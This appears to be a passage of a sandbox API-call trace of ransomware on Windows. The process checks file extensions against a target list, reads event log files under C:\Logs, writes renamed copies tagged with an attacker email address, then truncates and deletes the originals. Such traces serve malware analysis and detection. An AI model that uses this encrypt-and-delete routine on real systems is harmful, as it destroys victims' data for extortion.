	[0072.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.958] lstrlenW (lpString=".doc") returned 4
	[0072.958] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.958] lstrlenW (lpString=".docx") returned 5
	[0072.958] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.958] lstrlenW (lpString=".pdf") returned 4
	[0072.958] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.958] lstrlenW (lpString=".xls") returned 4
	[0072.958] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.958] lstrlenW (lpString=".xlsx") returned 5
	[0072.958] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.958] lstrlenW (lpString=".ppt") returned 4
	[0072.958] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.958] lstrlenW (lpString=".zip") returned 4
	[0072.959] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.959] lstrlenW (lpString=".rar") returned 4
	[0072.959] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.959] lstrlenW (lpString=".bz2") returned 4
	[0072.959] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.959] lstrlenW (lpString=".7z") returned 3
	[0072.959] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.959] lstrlenW (lpString=".dbf") returned 4
	[0072.959] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.959] lstrlenW (lpString=".1cd") returned 4
	[0072.959] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.959] lstrlenW (lpString=".jpg") returned 4
	[0072.959] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.959] lstrlenW (lpString=".doc") returned 4
	[0072.959] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.959] lstrlenW (lpString=".docx") returned 5
	[0072.959] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.959] lstrlenW (lpString=".pdf") returned 4
	[0072.959] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.959] lstrlenW (lpString=".xls") returned 4
	[0072.959] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.959] lstrlenW (lpString=".xlsx") returned 5
	[0072.959] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.959] lstrlenW (lpString=".ppt") returned 4
	[0072.959] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.959] lstrlenW (lpString=".zip") returned 4
	[0072.960] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.960] lstrlenW (lpString=".rar") returned 4
	[0072.960] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.960] lstrlenW (lpString=".bz2") returned 4
	[0072.960] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.960] lstrlenW (lpString=".7z") returned 3
	[0072.960] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.960] lstrlenW (lpString=".dbf") returned 4
	[0072.960] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.960] lstrlenW (lpString=".1cd") returned 4
	[0072.960] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0072.960] lstrlenW (lpString=".jpg") returned 4
	[0072.960] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.960] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0072.960] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63
	[0072.960] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0072.960] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=69632) returned 1
	[0072.960] CloseHandle (hObject=0x2f8) returned 1
	[0072.961] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20
	[0072.961] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.961] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0072.961] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.961] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.961] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0072.962] GetLastError () returned 0x0
	[0072.962] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0072.964] WriteFile (in: hFile=0x350, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0072.966] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.966] WriteFile (in: hFile=0x350, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x152, lpOverlapped=0x0) returned 1
	[0072.966] SetEndOfFile (hFile=0x350) returned 1
	[0073.412] CloseHandle (hObject=0x350) returned 1
	[0073.420] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.420] SetEndOfFile (hFile=0x2f8) returned 1
	[0073.421] CloseHandle (hObject=0x2f8) returned 1
	[0073.421] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0073.421] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1
	[0073.422] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.422] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.422] lstrlenW (lpString=".doc") returned 4
	[0073.422] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.422] lstrlenW (lpString=".docx") returned 5
	[0073.422] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.422] lstrlenW (lpString=".pdf") returned 4
	[0073.422] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.422] lstrlenW (lpString=".xls") returned 4
	[0073.422] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.422] lstrlenW (lpString=".xlsx") returned 5
	[0073.422] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.422] lstrlenW (lpString=".ppt") returned 4
	[0073.422] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.422] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.422] lstrlenW (lpString=".zip") returned 4
	[0073.422] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.422] lstrlenW (lpString=".rar") returned 4
	[0073.422] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.422] lstrlenW (lpString=".bz2") returned 4
	[0073.422] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.422] lstrlenW (lpString=".7z") returned 3
	[0073.422] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.422] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.422] lstrlenW (lpString=".dbf") returned 4
	[0073.422] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.423] lstrlenW (lpString=".1cd") returned 4
	[0073.423] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.423] lstrlenW (lpString=".jpg") returned 4
	[0073.423] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.423] lstrlenW (lpString=".doc") returned 4
	[0073.423] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.423] lstrlenW (lpString=".docx") returned 5
	[0073.423] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.423] lstrlenW (lpString=".pdf") returned 4
	[0073.423] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.423] lstrlenW (lpString=".xls") returned 4
	[0073.423] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.423] lstrlenW (lpString=".xlsx") returned 5
	[0073.423] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.423] lstrlenW (lpString=".ppt") returned 4
	[0073.423] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.423] lstrlenW (lpString=".zip") returned 4
	[0073.423] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.423] lstrlenW (lpString=".rar") returned 4
	[0073.423] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.423] lstrlenW (lpString=".bz2") returned 4
	[0073.423] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.423] lstrlenW (lpString=".7z") returned 3
	[0073.423] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.423] lstrlenW (lpString=".dbf") returned 4
	[0073.423] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.424] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.424] lstrlenW (lpString=".1cd") returned 4
	[0073.424] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.424] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0073.424] lstrlenW (lpString=".jpg") returned 4
	[0073.424] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.424] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0073.424] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78
	[0073.424] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0073.424] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=1052672) returned 1
	[0073.424] CloseHandle (hObject=0x2f8) returned 1
	[0073.424] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20
	[0073.424] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.424] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0073.425] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.425] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.425] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0073.425] GetLastError () returned 0x0
	[0073.425] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0073.446] WriteFile (in: hFile=0x350, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0073.794] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0073.804] WriteFile (in: hFile=0x350, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0073.809] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.809] WriteFile (in: hFile=0x350, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x170, lpOverlapped=0x0) returned 1
	[0073.809] SetEndOfFile (hFile=0x350) returned 1
	[0074.039] CloseHandle (hObject=0x350) returned 1
	[0074.812] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.812] SetEndOfFile (hFile=0x2f8) returned 1
	[0074.880] CloseHandle (hObject=0x2f8) returned 1
	[0074.893] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.893] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1
	[0074.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.894] lstrlenW (lpString=".doc") returned 4
	[0074.894] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.894] lstrlenW (lpString=".docx") returned 5
	[0074.894] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.894] lstrlenW (lpString=".pdf") returned 4
	[0074.894] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.894] lstrlenW (lpString=".xls") returned 4
	[0074.894] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.894] lstrlenW (lpString=".xlsx") returned 5
	[0074.894] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.894] lstrlenW (lpString=".ppt") returned 4
	[0074.894] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.894] lstrlenW (lpString=".zip") returned 4
	[0074.894] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.894] lstrlenW (lpString=".rar") returned 4
	[0074.894] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.894] lstrlenW (lpString=".bz2") returned 4
	[0074.894] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.894] lstrlenW (lpString=".7z") returned 3
	[0074.894] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.894] lstrlenW (lpString=".dbf") returned 4
	[0074.894] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.894] lstrlenW (lpString=".1cd") returned 4
	[0074.894] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.895] lstrlenW (lpString=".jpg") returned 4
	[0074.895] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.895] lstrlenW (lpString=".doc") returned 4
	[0074.895] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.895] lstrlenW (lpString=".docx") returned 5
	[0074.895] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.895] lstrlenW (lpString=".pdf") returned 4
	[0074.895] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.895] lstrlenW (lpString=".xls") returned 4
	[0074.895] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.895] lstrlenW (lpString=".xlsx") returned 5
	[0074.895] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.895] lstrlenW (lpString=".ppt") returned 4
	[0074.895] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.895] lstrlenW (lpString=".zip") returned 4
	[0074.895] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.895] lstrlenW (lpString=".rar") returned 4
	[0074.895] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.895] lstrlenW (lpString=".bz2") returned 4
	[0074.895] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.895] lstrlenW (lpString=".7z") returned 3
	[0074.895] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.896] lstrlenW (lpString=".dbf") returned 4
	[0074.896] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.896] lstrlenW (lpString=".1cd") returned 4
	[0074.896] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0074.896] lstrlenW (lpString=".jpg") returned 4
	[0074.896] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.896] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.896] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56
	[0074.896] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0074.897] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=69632) returned 1
	[0074.897] CloseHandle (hObject=0x2f8) returned 1
	[0074.897] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20
	[0074.897] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.897] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0074.897] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.897] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.897] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0074.898] GetLastError () returned 0x0
	[0074.898] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0074.901] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0074.903] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.904] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x144, lpOverlapped=0x0) returned 1
	[0074.904] SetEndOfFile (hFile=0x328) returned 1
	[0074.904] CloseHandle (hObject=0x328) returned 1
	[0074.908] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.908] SetEndOfFile (hFile=0x2f8) returned 1
	[0074.910] CloseHandle (hObject=0x2f8) returned 1
